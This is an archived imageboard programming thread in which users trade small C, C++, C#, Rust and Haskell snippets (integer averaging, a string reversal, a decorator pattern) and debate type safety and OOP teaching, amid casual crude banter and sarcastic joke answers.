[Boards: 3 / a / aco / adv / an / asp / b / bant / biz / c / can / cgl / ck / cm / co / cock / d / diy / e / fa / fap / fit / fitlit / g / gd / gif / h / hc / his / hm / hr / i / ic / int / jp / k / lgbt / lit / m / mlp / mlpol / mo / mtv / mu / n / news / o / out / outsoc / p / po / pol / qa / qst / r / r9k / s / s4s / sci / soc / sp / spa / t / tg / toy / trash / trv / tv / u / v / vg / vint / vip / vp / vr / w / wg / wsg / wsr / x / y ] [Search | Free Show | Home]

/dpt/ - Daily Programming Thread

This is a blue board which means that it's for everybody (Safe For Work content only). If you see any adult content, please report it.

Thread replies: 335
Thread images: 34

File: it's a trap.png (873KB, 1275x677px) Image search: [Google]
it's a trap.png
873KB, 1275x677px
What are you working on, /g/?


Previous Thread: >>56706940
>>
first for akaribbs[!!]
>>
File: ada95.jpg (85KB, 500x676px) Image search: [Google]
ada95.jpg
85KB, 500x676px
pls respond
>>
File: anime.png (786KB, 1000x1300px) Image search: [Google]
anime.png
786KB, 1000x1300px
>>56713575
>no anime image

What are you doing akari?
>>
File: 1293219076233.png (39KB, 225x225px) Image search: [Google]
1293219076233.png
39KB, 225x225px
enum dir_tp {
NORTH,
EAST,
SOUTH,
WEST,
NO_DIRECTION
};
enum act_tp {
NO_ACTION,
THROW,
HIT,
SPECIAL_ACTIVATE,
ACTIVATE,
OPEN,
CLOSE,
MOVE,
ANY,
STOP
};
enum ent_tp {
NO_ENTITY,
SELF,
WALL,
STONE,
TARGET,
DOOR
};

struct act {
enum act_tp action_type;
enum dir_tp direction_type;
enum ent_tp entity_type;
};
struct act no_action = {STOP, NO_DIRECTION, NO_ENTITY};
struct act door_open = {MOVE, NORTH, SELF};
struct act door_close = {MOVE, SOUTH, SELF};

struct scr {
int num_actions;
enum act_tp trigger;
struct act *actions;
};
struct scr no_script = {1, ANY, &no_action};
struct scr open_script = {3, OPEN, &door_open};
struct scr close_script = {3, CLOSE, &door_close};

struct ent {
enum ent_tp type;
char *name;
char symbol;
int weight;
bool blocking;
int num_scripts;
struct scr *scripts;
};
struct ent no_entity = {NO_ENTITY, "", 'N', 0, true, 1, &no_script};


help I don't know what I'm doing any longer
>>
Anyone wants to work on a side-project on Windows? Preferably on WinAPI in C/C++.
>>
>>56713606
No
>>
>>56713584
I'm not him and sadly I don't have a folder full of yuruyuris.
>>
>>56713593
you must have your cravings taken care of so you can concentrate first by sitting on my lap anon
>>
File: frog-fs8.png (97KB, 1400x1400px) Image search: [Google]
frog-fs8.png
97KB, 1400x1400px
I'm transferring files between my 2 computers through SSH, both at my house.

does the transfer speed depends on the my Internet connection?
>>
File: 1473977704642.jpg (873KB, 1300x691px) Image search: [Google]
1473977704642.jpg
873KB, 1300x691px
It seems that pip isn't installed on my system.
Is it better to install it through the get-pip.py script or use my package manager?
>>
>>56713662
How is this programming related?
Stupid frogposter
>>
File: stock-photo-1347787.jpg (147KB, 1200x798px) Image search: [Google]
stock-photo-1347787.jpg
147KB, 1200x798px
>xir language doesn't allow encoding useful safety invariants in its type system
>>
File: Windows 98-2016-09-18-10-25-48.png (35KB, 1586x857px) Image search: [Google]
Windows 98-2016-09-18-10-25-48.png
35KB, 1586x857px
If only we could go back in time.
>>
>>56713684
>penis.c
simpler times
>>
>>56713683
>encoding useful safety invariants in its type system
ok when do i start working on the project

thats really impractical?
>>
>>56713699

And we thought things could be so much better. If only we'd known how bad they'd end up being.
>>
File: mde shig.png (92KB, 213x252px) Image search: [Google]
mde shig.png
92KB, 213x252px
>>56713672
>he thinks this thread is related to actual programming
>>
>>56713709
>image
Fuck off crossboarder
>>
>>56713684
Comfy.
>>
File: 1473860682779.jpg (320KB, 1080x1080px) Image search: [Google]
1473860682779.jpg
320KB, 1080x1080px
how many programming languages do people learn thoroughly usually?
and how many do you end up actually using day-to-day?
>>
>>56713662
stupid frogposter
>>56713822
only 1 scheme unless you're a wagecuck
>>
>>56713843
cuck
>>
Is averaging two ints a computationally intractable problem?
>>
int avg(int x, int y){
return (x + y) / 2;
}
>>
>>56713662
No, it's limited by the speed of the network cabling, switches, and NICs between the two computers.
>>
>>56713908
thank you, senpai
>>
>>56713871

Intractable isn't really the right word for it. When we divide the entire space of "problems" into two categories: those solvable by computers, and those not solvable by computers, the averaging of two (2) integers falls into the latter.
>>
>>56713926
>senpai
>>>/a/
sick of weebs shitting up /g/
>>
Working on an image handling crate for Rust because the image crate's API is utter shit.

Just finished implementing encoding, if only specialization was stable I could throw away the nightly feature, but alas.
>>
>>56713718
>he thinks memes can be confined to the artificial boundaries of boards
>>
>>56713934
baka desu senpaitachi
>>
File: index.jpg (7KB, 223x226px) Image search: [Google]
index.jpg
7KB, 223x226px
>>56713934
>he doesn't know that f a m gets converted to senpai

hello réddit
>>
>>56713944
what image operations are implied by image 'handling'
>>
>>56713964
suck my cock anon
>>
>>56713982
Decoding, encoding, color space handling, proper partial views into buffers and whatever else I feel like I need.

It's supposed to be an extremely generic library to deal with images, so that other libraries can be based upon it to implement anything else.
>>
>>56714030
Sounds neat. What you using the image library for?
>>
>>56713705
It's the same as using encapsulation except the invariants are explicit and you'll get a type error if you violate them.
>>
>>56714030
by decoding and encoding you mean like recognizing what format the hex values in the beginning amount to and following options etc, like is it jfif png etc?
>>
File: 1446128734789.jpg (77KB, 820x420px) Image search: [Google]
1446128734789.jpg
77KB, 820x420px
>>56713934
>>
>>56714058
I mean decoding from PNG, JPEG, whatever, into an usable buffer, and encoding from a buffer to PNG, JPEG, whatever.

>>56714049
Loading images to use in whatever I need, game, tools, shit.
>>
>>56714076
Not tempted just to use a good C library for that shit?
>>
>>56714106
he wasn't alone
>>
>>56714132
huh?
>>
>>56714106
I'm writing those tools in Rust, I don't want to use C libraries I'd have to wrap into safe wrappers, or litter the codebase with unsafe.

Besides I'm not implementing the decoders/encoders myself, hell, I didn't even write the color handling code.

It's just a crate filled with generic structures/functions that use other crates to do its thing.

It's basically glue.
>>
>>56714169
>I don't want to use C libraries I'd have to wrap into safe wrappers, or litter the codebase with unsafe.
Why?

Why not just use a wrapper for some battle hardened C library for image processing?
>>
>>56714188
Because that's boring, and adds a dependency that has to be handled by the system, which makes it even more annoying to deploy on Windows and the like.

Also this library is not about image processing, it's only for decoding/encoding and giving out an ergonomic API to deal with images.
>>
>>56714215
Fair enough. Sounds pretty cool anon.
>>
>>56714188
One of Rust's major selling points is that you can rewrite that stuff purely in Rust instead of having to FFI to do anything natively. What do you gain? Security, obviously, but also a far nicer API.
>>
>>56714227
Also the user can always use my library to load an image, and use that buffer with another image processing library, than turn it back into a buffer and use it to encode it, so whatever.
>>
>>56714249
How do you make a image library provably secure with Rust without sacrificing performance btw?

In C# you generally need to use unsafe code do anything with images that's not utterly shit performance wise.
>>
class Positionable { double x, y; }
class Player extends Positionable { String name; }

vs
class Position { double x, y; }
class Player { Position position; String name; }


Pick one /g/
>>
>>56714369
There's nothing about safe code that inherently means you're sacrificing performance. And even if you have 90% safe Rust and 10% unsafe, that's 90% of your code that you never have to consider if you're trying to debug a memory error.
>>
I stopped caring about Haskell when I was introduced to the concept of monads. What a crock of shit. If your program can only modify state by inventing a higher-order abstraction that can't exist, like some kind of programming deity, then you are fucking wrong and the language is flawed. Same for type checking that basically says "the correct type is whatever the correct type is". That's what the error message said transcribed to words, but god forbid if i wrote in down in English instead of the meme Haskell runes that GHC marks me wrong.

Haskell is logical and category theory never lies my ass. Haskell is just as flawed as any other """functional""" language.
>>
>>56714402
The second.
Always prefer composition over inheritance.
>>
>>56714423
>There's nothing about safe code that inherently means you're sacrificing performance.
safely editing all the pixels in a bitmap in C# means doing a for loop over all of them. To do the for loop you need bounds checking to do it safely. Bounds checking it a big overhead.

Can rust avoid doing this somehow and still be safe?
>>
What is the best frontend technology for an audience with shitty internet connections and why is it GWT?
>>
>>56714450
Even Google abandoned GWT. That shit has been dead for years.
>>
>>56714450
>frontend
literally anything, cache fegit
>>
>>56714402
The latter, because you want to be able to write functions that operate on components without any concept of entities, in order to have components cleanly interacting.

>>56714444
Yeah, you have a higher-order function so that you can hide certain details of looping over pixels in a way that you don't need bounds checking but you're still exposing a safe API.
>>
what are good resources (books, pdf, websites) to learn PHP?

I have moderate experience with scripting languages and web applications.

also, in Symfony framework good?
>>
>>56714402
>Positionable

Will OOP stoop to any low?!
>>
>>56714402
There are surely more important concepts to inherit from than a simple position.
>>
>>56714444
Can't you check/clip the coordinates once, then iterate over the pixels without repeatedly checking the coordinates inside the loop?
>>
>>56713536
What's worth doing on codecademy, done with python on it since it's python 2.x
So far I'm thinking
>learn git
>learn the command line
>HTML & CSS
>PHP
>>
I'm just making a probably shit tier game suppose to be like the old RP dos games but more like a choose your own adventure thing
>>
File: 1432464876721.jpg (17KB, 368x353px) Image search: [Google]
1432464876721.jpg
17KB, 368x353px
>>56714525
That's why they invented multiple inheritance
>>
>>56714402
For such a thing as Positionable you would use implements aka an interface.
>>
class Position { double x, y; }
class Positionable { abstract Position getPosition(); }
class Player { Position position; String name; Position getPosition() { return position; } }


Best of both worlds.
>>
>>56714462
It's close to getting another release. It has 10 developer actively committing to it.
And the Java -> JS compiler is pretty damn solid on it's own.

>>56714463
You are going to tell me a multi page setup is going to not be total shit for ISDN level connections?
Well, you're wrong.
>>
>>56713905
You just break the internet...
>>
>>56714612
what kind of shit application requires pages
load it all at once nigga
>>
>>56713905
>avg(0, 1)
>0
>>
>>56713905
template <class T>
conditional<is_integral<T>, double, T>::type avg(const T& x, const T& y) {
return (x + y) / static_cast<T>(2);
}


This is why C++ is superior.
>>
>>56714680
>avg(0,1)
>0
>>
>>56714693
template <class T>
typename conditional<is_integral<T>::value, double, T>::type
avg(const T& x, const T& y) {
return
static_cast<typename conditional<is_integral<T>::value, double, T>::type>(x + y)
/
static_cast<typename conditional<is_integral<T>::value, double, T>::type>(2)
;
}

Fix'd.
>>
>>56714630
kek
>>
File: received_911730992279070.jpg (185KB, 2001x1126px) Image search: [Google]
received_911730992279070.jpg
185KB, 2001x1126px
Hey guys writing a CoC for my project, which identities (trans, people of size, otherkin, etc.) should I include to prevent bullying/harassment

Pic related: my doggo
>>
>>56714750
>double
might not work
>>
File: example is on pg 37.jpg (141KB, 822x1080px) Image search: [Google]
example is on pg 37.jpg
141KB, 822x1080px
hey guys. Trying to study with this book, but the first example is already not working for me. Decorator pattern, I understand the idea and design, but the code is not running for me. Is it because I'm doing C# 3.0 examples on the newest VS (which supports C# 6.0, I believe)?

The error I get is "type or namespace IComponent not found".

Posting the code if anybody's interested.

using System;
2
3 class DecoratorPattern {
4
9 interface IComponent {
10 string Operation( );
11 }
12
13 class Component : IComponent {
14 public string Operation ( ) {
15 return "I am walking ";
16 }
17 }
18
19 class DecoratorA : IComponent {
20 IComponent component;
21
22 public DecoratorA (IComponent c) {
23 component = c;
24 }
25
26 public string Operation( ) {
27 string s = component.Operation( );
28 s += "and listening to Classic FM ";
29 return s;
30 }
31 }
32
33 class DecoratorB : IComponent {
34 IComponent component;
35 public string addedState = "past the Coffee Shop ";
36
37 public DecoratorB (IComponent c) {
38 component = c;
39 }
40
41 public string Operation ( ) {
42 string s = component.Operation ( );
43 s += "to school ";
44 return s;
45 }
46
47 public string AddedBehavior( ) {
48 return "and I bought a cappuccino ";
49 }
50 }
52 class Client {
54 static void Display(string s, IComponent c) {
55 Console.WriteLine(s+ c.Operation( ));
56 }
57
58 static void Main( ) {
59 Console.WriteLine("Decorator Pattern\n");
60
61 IComponent component = new Component( );
62 Display("1. Basic component: ", component);
63 Display("2. A-decorated : ", new DecoratorA(component));
64 Display("3. B-decorated : ", new DecoratorB(component));
65 Display("4. B-A-decorated : ", new DecoratorB(
66 new DecoratorA(component)));
67 // Explicit DecoratorB
68 DecoratorB b = new DecoratorB(new Component( ));
69 Display("5. A-B-decorated : ", new DecoratorA(b));
70 // Invoking its added state and added behavior
71 Console.WriteLine("\t\t\t"+b.addedState + b.AddedBehavior( ));
72 }
73 }
74 }
>>
>>56714799
Why not?
>>
>>56714807
also, wtf is "Display" on lines 62-70? Never seen it before, and I cannot find any info on it. Again, is it part of the old C#?
>>
>>56714810
avg(10^1000, 10^1000)
>>
>>56714807
>I'm doing C# 3.0 examples
Fucking why?

They've added so many features to the language that invalidate massive swaths of that version.
>>
File: 1467019345752.jpg (10KB, 180x157px) Image search: [Google]
1467019345752.jpg
10KB, 180x157px
>>56714807
kore wa designu patteru
>>
The definitive way to average two ints:
Add a new MSB to each number. Add the numbers.
Now the LSB signifies 1/2, so you can either shift back and chop the added MSB off or you can leave it.
>>
>>56714487
>Yeah, you have a higher-order function so that you can hide certain details
sure, but you still need to apply those functions to the memory locations at some point.

>>56714532
In theory i guess, but can Rust do that?

>>56714612
10 isn't very much, and Google don't use for anything anymore after realising it was garbage. Enjoy those long compile times.

If you want static typing in web dev, use typescript.
>>
Questions:
What percentage of the competent programming populace is female?
What percentage are traps?
Show me the average fem programmer
>>
>>56714875
>apply those functions to the memory locations
???
>>
I installed java on arch gnu/linux to help my friend learn it, got compiling and running working fine, but when I compile the executable isn't placed in the same directory as the source. Where are they placed, and can I make the executables reside in the same place as the source? Makes it much easier to manage files imo
>>
>>56714786
Is that Invoke?
>>56714807
Seriously drop that old shit already, also the compiler is trying to tell you that it can't find the interface. Include that with a using statement to bring it in scope.
>>
File: dev.png (149KB, 828x801px) Image search: [Google]
dev.png
149KB, 828x801px
>>
Has programming gotten you any pussy?
>>
>>56714807
Drop that book. Read C# in Depth by Jon Skeet.
>>
>>56714895
you need to apply those high order function to actual data at some point. And doing that safely requires some overhead in my experience.
>>
>>56714917
I partly bonded with a qt by helping her with her javascript project years ago, and still talk about programming stuff with her.

Only girl a fucked : (. Would be a Wizard now if not for her.
>>
If i cast a uint8_t to a uint16_t in C, what certainties do I have?
uint8_t a = 44;
uint16_t b = 44 * 256;
b = a;

Can I be certain that the 8 most significant bytes of b are now 0?
Is there a page in the c standard about this?
>>
>>56714928
Okay, take map as an example. You give a function from pixel to pixel, and internally map doesn't need to do bounds checking when it reads/writes the image data.
>>
>>56714834
10 xor 1000?
>>
>>56714969
no, 10 to the power of 1000
>>
>>56714966
right, only because that bounds checking is done inside map itself, which the language makes sure is safe. Map also requires making a new bitmap to map the previous bitmaps pixels into, which is a pretty large overhead.
>>
>>56714963
>Can I be certain that the 8 most significant bytes of b are now 0?
>8 most significant bytes
>bytes
No. You can't be certain.

If you mean bits however, then yes.
>>
>>56715009
write an inplaceMap function
>>
>>56715009
The library developer asserts that the "unsafe" memory reads/writes inside the implementation of map are in fact correct and safe. To the user, it's safe by construction.

>Map also requires making a new bitmap to map the previous bitmaps pixels into, which is a pretty large overhead.
No?
>>
>>56714875
What's garbage about it?
>>
>>56715003
That's not what the ^ operator does though.
>>
>>56715022
how do you write that safely though? The only reason "map" is safe is because it's part of the language itself and you are trusting the language to ensure it is safe.
>>
>>56715038
I overloaded it
>>
>>56714402
Latter.
>>
New to python how can I improve my ROT bruteforce script
code : https://ghostbin.com/paste/8gkra
>>
>>56714909
Where did you get the source code? I thought it was closed source.
>>
>>56715040
What are you on about?
You can write higher order functions yourself with no worries. The parameter is a pixel -> pixel function. Where does the safety go?
>>
>>56715044
You can't overload operators on primitive types anon.
>>
>>56715036
>The library developer asserts that the "unsafe" memory reads/writes inside the implementation of map are in fact correct and safe.
Sure, but we're talking about a writing a library that is provably safe, without using "unsafe" code.

>No?
Yes. That's the whole point of map. Unless the compiler can be smart and know that the bitmap it is mapping from will never be referenced again by any other code after the map is done. I'm not aware of any language that does that.
>>
>>56715073
On some compilers
>>
>>56715073
YOU can't. He however can.
>>
>>56715053
By not using python. Every operation needs to be interpreted by a virtual machine which makes it slower than it could be.
>>
>>56715066
That's not the unsafe part. It's the implementation of inplaceMap that will most likely need unsafe code, not the functions you pass to it.
>>
>>56715053
nothing anon it is beautiful!
>>
>>56714963
Don't forget about integer promotion.
What you have is in fact:

uint8_t a = (uint8_t) int;
uint16_t b = (uint16_t) (int * int);
>>
>>56715080
It's not provable within the language, but you cut down the occurrences of unsafe code so much that it's not difficult or even really necessary to prove at all.

About the whole mutability thing, Rust is very good at that.
>>
>>56715099
>unsafe code
int x[10];

x[3] = 4;

What the fuck?
This is unsafe to you?
>>
>>56715122
It's unsafe to do it without bounds checking in Rust because it doesn't have dependent types.
>>
>>56715118
That's what I figured. Some anon above was saying it could be provably safe without any performance overhead.

>>56715122
Nothing. What would be unsafe would be the code inside inplace Map.
>>
>>56715136
You know the length yourself, it's part of the bitmap
What are you talking about?

Why do you think EVERYTHING is unsafe?
>>
>>56715086
>>56715089
If you can, than its not standard C++.

But fine. Lets say you/he overloaded it. What is the return type?
>>
>>56714786

Rule 1. Don't be a dick.

There. There's your code of conduct. You don't need to make 2 million rules that all boil down to "don't be a dick".
>>
>>56715150
>You know the length yourself
If you expect the programmer to be in charge of making sure all code is safe, then all langugaes are 100% safe.
>>
>>56715151
A multi-precision integer, that is defined as integral.
>>
>>56715167
Well than the code at >>56714750 works perfectly and >>56714799 is wrong.
>>
>>56715114
>>56715019
>bytes
yes I meant bits thanks
>>
>>56715166
What the fuck?

std::vector<float> v = ...

for (size_t i = 0; i < v.size(); ++i);
v += 3;


>unsafe
>>
>>56715149
It's provably safe from the user's perspective, going on the assumption that all internal unsafe code is correct.

>>56715150
"Unsafe" just means "not provably safe" in some context. Usually that context is within the language itself, because it's possible (although potentially very difficult due to the language's design) to externally verify that any program meets some specification, and so "unsafe" would be meaningless.
>>
>>56714847
>>56714853
>>56714906

haha alright, can you recommend any other source for design patterns in C#? Intermediate level, not too advanced.
>>
>>56715188
avg(10^1000, 1+10^1000)
>>
>>56715193
That doesn't even compile. You can't add an integer to a vector.
>>
im writing a token system for access to online orders placed since we dont have a login system :O
>>
>>56715207
Just use higher order functions


>>56715214
Could overload that
but I meant v[i] and 3.0f
>>
>>56715204
>It's provably safe from the user's perspective
All code is provable from the users perspective.

What do you think "unsafe code" means?
>>
>>56715210
Fine. Jeez.

template <class T>
typename conditional<is_integral<T>::value, result_of<divides<T, double>>::type, T>::type
avg(const T& x, const T& y) {
return
(x + y)
/
static_cast<typename conditional<is_integral<T>::value, double, T>::type>(2)
;
}


Here, happy now?
>>
in haskell this is just

import Data.Ratio ((%))
avg x y = (x + y) % 2
-- % is not mod
>>
>>56715233
In that case that is an example of unsafe code, because the compiler can't tell for sure if v[i] += 3.0 will overflow the vector or not.
>>
>>56715235
>What do you think "unsafe code" means?
Unsafe in the same sense that butter knives are unsafe because I can kill myself with it if I stab myself with it hard enough.

Basically, I should be able to be a fucking retard and not have consequences, any language that doesn't allow me to be a fucking retarded idiot is unsafe.

Why the hell should I have to learn how to program properly?
>>
>>56715291
whoops
avg x y = (x % 2) + (y % 2)
-- or
avg = (+) `on` (%2)
>>
>>56715235
I mean the user of the library. It's not 100% provably safe within Rust from the library developer's perspective, but the stuff that can't be proven by the language is generally very minimal. Adding the features (dependent types) to do so would cause the complexity of the language to explode for what is, in practice, generally not that difficult for the programmer to manually verify. Resource safety is difficult to verify manually, and makes up a good deal of verification in practice, but Rust itself does a great job.
>>
>>56715291
I just imagined an imaginary language where it calculates the avg without even writing any code.

This doesn't mean my imaginary language is better than haskell or C.
Your entire argument that haskell is better is that it requires less code to do the same thing.
Which is a flawed argument.
>>
>>56715304
>Basically, I should be able to be a fucking retard and not have consequences, any language that doesn't allow me to be a fucking retarded idiot is unsafe.
"unsafe code" is just code that the compiler can't guarantee will never violate memory safety. Cause overflows or leaks etc. It has a very specific meaning in programming languages.

Don't spaz out over it.
>>
Next week I'll be having a technical interview for an internship at a Python shop. My experience with Python is very limited. I can barely remember the different data types (dictionary, list, etc).

Could anyone suggest me a well rounded project that'll bring me up to speed with Python?
>>
>>56715328
I just imagined you're wrong

Therefore you are
>>
#include <stdio.h>
#include <string.h>

int main(int argc, char *argv[]) {
if (!argc>=2) return 1;
int len=strlen(argv[1]);
char *p=(char*)(argv[1]+len);
while(p-- > (char*)argv[1]) printf("%c", *p);
printf("\n");
return 0;
}


is this a dumb way to reverse a string? im sort of new no bulli
>>
>>56713536
Java or Python as my first programming language? I'd learn the other one later, so job prospects don't matter too much to me, but I was just wondering which language would get me better situated as a beginning programmer.
>>
>>56715358
I'd go with python
>>
>>56715358
>>56715362
but make sure you learn Java or a statically typed language at some point.

Dynamic langugaes are just good for bigger programmers and shit for everything else. Don't become one of those shit programmers who unironically used them for everything.
>>
>>56715358
C, then move to C#.
>>
>>56715355
Your style is ugly.
Anyway, you should write a function for reversing.
>>
>>56715344
Can't really win a game of chess against a pigeon. They just shit on the board and steal the pieces.
Kind of like you do with arguments.

So congratulations anon! You win!
>>
>>56715383
what do you mean ugly?
and what should the function do pls give me something to do i want to get better at C
>>
>>56715390
Whoops, meant >>56715328
>>
>>56715362
yeah, i was just looking at some old posts on [spoiler]reddit[/spoiler], and that's what was suggested
>>56715379
don't worry, i'd learn java or c++ later on, just want to get into the flow of everything
>>
>>56715401
Ugly as in hard to read.
Make spaces around binary operators.
The function should take a pointer to a source string, target string and put in target reversed source.
>>
>>56715355
#include <stdio.h>
#include <string.h>

int main(int argc, char *argv[]) {
if (!argc>=2) return 1;

char *p = (char*)(argv[1] + strlen(argv[1]));

while(p-- > (char*)argv[1]) {
printf("%c", *p);
}
printf("\n");

return 0;
}


Fixed your style. However this doesn't actually reverse the string, it just prints it out in reverse. Instead of the print statement, make a swap function and call that. Swap the first and the last character, then the second and second to last character etc. This way you also only have to loop through half the string. Tip: The loop should go from 0 to len/2;
>>
>SICP is pronounced SickP
>>
>>56715355
#include <studio.h>
#include <string.h>

int main(int argc, char *argv[]) {
if (!argc>=2) return 1;
int len=strlen(argv[1]);
char *p=(char*)(argv[1]+len);
while(p-- > (char*)argv[1]) printf("%c", *p);
printf("\n");
return 0;
}

fixed
>>
So do any of you have experience with Learn Python the Hard Way?
>>
>>56713964
senpaitachi
test
>>
>>56715405
Actually no, i meant you anon.

See my entire argument was that just because a language requires less code it doesn't make it good.
With the imagined language, i provided an example of a language that would by your argument be better than haskell.

Now you can either agree that this imagined language IS in fact better than haskell, or accept that your argument is flawed.

You did neither of those. What you did, was tried to make a clever and funny warp of my original argument that makes you seem witty and smart without actually engaging the argument.
At least you could have gone for "everybody knows you're wrong so i'm not even going to argue".
>>
>>56715581
all i said was "in haskell this is just [...]"
calm down anon, i'm not gonna continue to read your dumbass rants

>w-wtf, w-well i can imagine a language where no code does exactly this!
This is your fucking argument.
Fucking read it again and again until you acknowledge your own stupidity
>>
>>56715619
>all i said was "in haskell this is just [...]"
This implies you never implied that haskell was a better language.
Which means you agree that less code doesn't imply a better language in general.
Next time just say so anon.
Also using profanity and insults really does not help your credibility.
>>
>>56713666
Source? I want to fap to those cute boys.
>>
How do I get the first 5 characters of a string in Lua?

I tried this
strsub(str, 0, strlen(str) - 5)
>>
File: krabba11.png (320KB, 500x557px) Image search: [Google]
krabba11.png
320KB, 500x557px
>tfw no equivalent for Practical Common Lisp for Scheme
Common Lisp is too ugly to use desu
>>
>>56715707
strsub(str, 0, 5)
>>
>>56715689
No, there are a variety of reasons why Haskell is a better language that are evident from that snippet, but "in haskell this is just [...]" is in fact a /dpt/ meme you idiot
>>
>>56713905
Ree
>>
>>56715737
Thanks. The documentation is pretty confusing.
>>
>>56715738
Here you go, insulting again. You're really hurting my feelings. Also i'm not even going to acknowledge your argument, all i'm going to do is complain about you insulting me. So you see how that feels.
>>
>>56715778
There's nothing wrong with calling an idiot an idiot
>>
>>56715778
>So you see how that feels.
are you 12?
>>
>helping in lab
>students just start learning basic OOP
>have to implement a class with a few instance variables and some methods
>do my best to help them through it, most get it, a few stragglers
>get to actually having to instantiate the class and use the methods
>have to reteach a bunch of students how to do that because they either weren't in class, didn't take notes or just didn't understand
>no, you can't call the method until you create the object
>a few manage to create the object and successfully call one method, but for some reason, despite my best efforts to show parallels between the method they just successfully called and another method they're trying to call, they just can't see to grasp the dot notation and why you have to prepend the method call with the object name every time
>a few having a hard time understanding why the fuck you need a class and a separate driver for that class

/rant
I'm beginning to think starting people out on OOP is a mistake
>>
>>56715792
What? Legally? Of course not.

>>56715801
>what is satire
>>
>>56715819
How is OOP a difficult concept? It took me 10 mins to get though that might be because of my autism and indian parents.
>>
>>56715819
OOP is shit
>>
>>56715819
>a few having a hard time understanding why the fuck you need a class and a separate driver for that class
These are the smart ones, assuming your examples are just convoluted transformations of straight line code with no duplication into OOP.
>>
>>56715819
>>56715846
And I believe that's a safe assumption to make because 99% of beginner OOP resources I've seen do this.
>>
>>56715834
>I was merely pretending to be a retard
>>
>>56715819
Well here we started out with functional programming and let me tell you, people had a lot more trouble grasping those concepts.
>>
>>56715868
>satire
>the use of humour, irony, exaggeration, or ridicule to expose and criticize people's stupidity or vices, particularly in the context of contemporary politics and other topical issues.
>>
>>56715900
>yes
>>
>>56715916
Do you feel the strange need to be the last person to respond?
>>
>>56715942
no
>>
>>56715945
Good.
>>
>>56715846
>>56715863
Yeah, it's where you have one file with only the class and no main, and then the driver file with the main that creates and uses the object. It's their first or second week using OOP, so I hope they catch on soon.
>>
>>56713684
Will you try 256 or true color?
>>
>>56716075

This version of BGI only supports 16 color, so that's not something I can do. I'd have to use winbgim or something.
>>
File: 2016-09-21_21-18-54.png (89KB, 1020x540px) Image search: [Google]
2016-09-21_21-18-54.png
89KB, 1020x540px
Are these colors fine?
I wanted colorful parentheses for lisp.
>>
>>56713536
Is there a list of challenges to implement in C, to prove that I know the language?
>>
>>56716176
Check this http://www.ctyme.com/intr/cat-046.htm, look at VESA modes.
>>
>>56716209
>>56713666
>>56715693
What's with all the faggotry in this thread?
>>
>>56716316
An OS
>>
>>56716345
Have you seen the >>56713536 ?
>>
>>56716345
Shitposters that get mad everytime there's a pic like OP
>>
>>56715819
It could be worse - you could have the students in my class who don't get variable declaration. I'm taking CS 1 (class above intro) and
int dollars = 4;
int money = dollars;

doesn't make sense to maybe a 1/4 of the class.

Granted this is at a community college (one I went to before) but I KNOW shit wasn't this bad before I transferred to university.
>>
Best book for learning python?
>>
>>56716338

I'm too stupid for all of this. :)
>>
File: scr.webm (1MB, 1120x682px) Image search: [Google]
scr.webm
1MB, 1120x682px
/dpt/-chan, daisuki~~

Ask your much beloved programming literate anything (IAMA).

>>56716316
Writing a implementation of C will prove that you know the language.

>>56713684
I prefer sexp highlighting (Webm)

>>56714402
Both are bad oop.
>>
>>56716475
>you could have the students in my class who don't get variable declaration
I mean, I didn't say I didn't have them
double var = 2.0;
//later
double x = double var + 4.0; // NO
>>
File: 1459487295667.png (249KB, 340x314px) Image search: [Google]
1459487295667.png
249KB, 340x314px
>>56716584
>double var + 4.0
Holy lel
>>
What are some must have vim plugins, just got autosave comfy as fuck, mostly using vim for python and bash
>>
>>56716562
Why are you using a deprecated language?
>>
>>56716689
YouCompleteMe, emmet
>>
>>56716584
this isn't actually so bad for someone just learning
i could imagine a language where this does something reasonable and useful
>>
File: ycm.gif (1MB, 860x426px) Image search: [Google]
ycm.gif
1MB, 860x426px
>>56716733
that looks good thanks
>>
>>56716562
>fag uses racket
>>
>>56715819
It takes logic and intelligence to teach too.

Look, if you use car as an example, it becomes something literally every idiot in the world can imagine.
You explain them that the class car is a concept of a car, as we all know cars.
Then you tell them you can't get in and drive the concept of a car.
You need an actual car, like a BMW, in order to drive it.

Then make the connection of the actual, physical car to the instance of a car-class and there you go, everyone gets it.

So hard?
>>
Should I learn C or just stick with java?
>>
Let's say I write a program in C which finds the optimum of a function using genetic algorithms.

However, the function is defined at runtime, through the parameters of the program. I could, of course, parse some mathematical notation, but I'd prefer to do it more intuitively. Of course, in windows you can pass objects (with methods and members) via piping, but not in Linux.

So, my initial thought is to let the user define an outside library and header which contains the fitness function, and to recompile and link for every problem they want to solve, however this doesn't satisfy the runtime requirement.

Anyone have ideas?
>>
>>56715819
That's not even OOP at that point, that's not being able to understand basic abstraction.
>>
>>56716971
What are your goals?
>>
1 month into my first programming course which is going painfully slow.

Currently making a program that finds prime factors of a number, for fun. I feel like a toddler playing with Fisher Price toys
>>
How do I become a 1337 haxxor
>>
>>56716995
I really don't have any goals. I just want to learn how to program.
>>
>>56717018
prime factorization doesn't actually sound very fun
>>
>>56717035
Well, what do you want to program? Do you want want to do web development? Do you want to write drivers? Do you want to program robots? Do you want to make games?
>>
>>56716978
in C you can't really construct functions at runtime, so you would need to create your own sub language for expressions with an AST type

like (Haskell):
data Expr = Lit Int | Add Expr Expr | Mult Expr Expr
>>
>>56717035
>i want to learn how to cook
>"okay what do you wanna cook?"
>i don't want to cook anything, i wanna learn how to cook
>>
I'm learning mysql, every time I query something the last result is a null row. Is this normal?
>>
>>56717038

I only chose it because it's next up on this list

https://projecteuler.net/archives

The fun I'm getting out of it is being forced to, with my limited knowledge, REALLY sit down and think about what I logically have to do in order to solve the problem, THEN go out and find that functionality in Java through Google.

Right now I'm at the point where my program can find ALL factors of a number and stores them in an array.
>>
>>56717058
Robots sounds very interesting. But I want to learn how to make basic desktop programs.
>>
>>56717065
I have only an introductory background in assembly, but I know GCC allows inline assembly. Could you pass assembly instructions via command line and write the function in that?
>>
>>56715819
When it's java, the inevitable set of "hello world" questions include:
> what is public?
> what is class?
> what is static?
> what is void?
> what is String?
> what are "[]"?
> what's "args" there for?
> what's System?
> what's ".out"?

And your answer pretty much has to be, "don't worry about that now, treat it like it's a black box that always has to be there until we get somewhat further, to a lot further in the course when it can start making sense".
>>
>>56717104
No, that is not normal.

Are you sure you're actually getting a null row, or are you using some sort of odd program to query the database that shows an extra row in case you want to edit the results or something?
>>
>>56717118
No, inline assembly means pure assembly code can be written in the code, not given by the runtime (and you probably don't want to muck around with JIT)

I recommend you do the AST thing or try another language
>>
>>56717068
make omletes, bake bread, cook porkchop
that's how I would instruct somebody if they ask how to cook
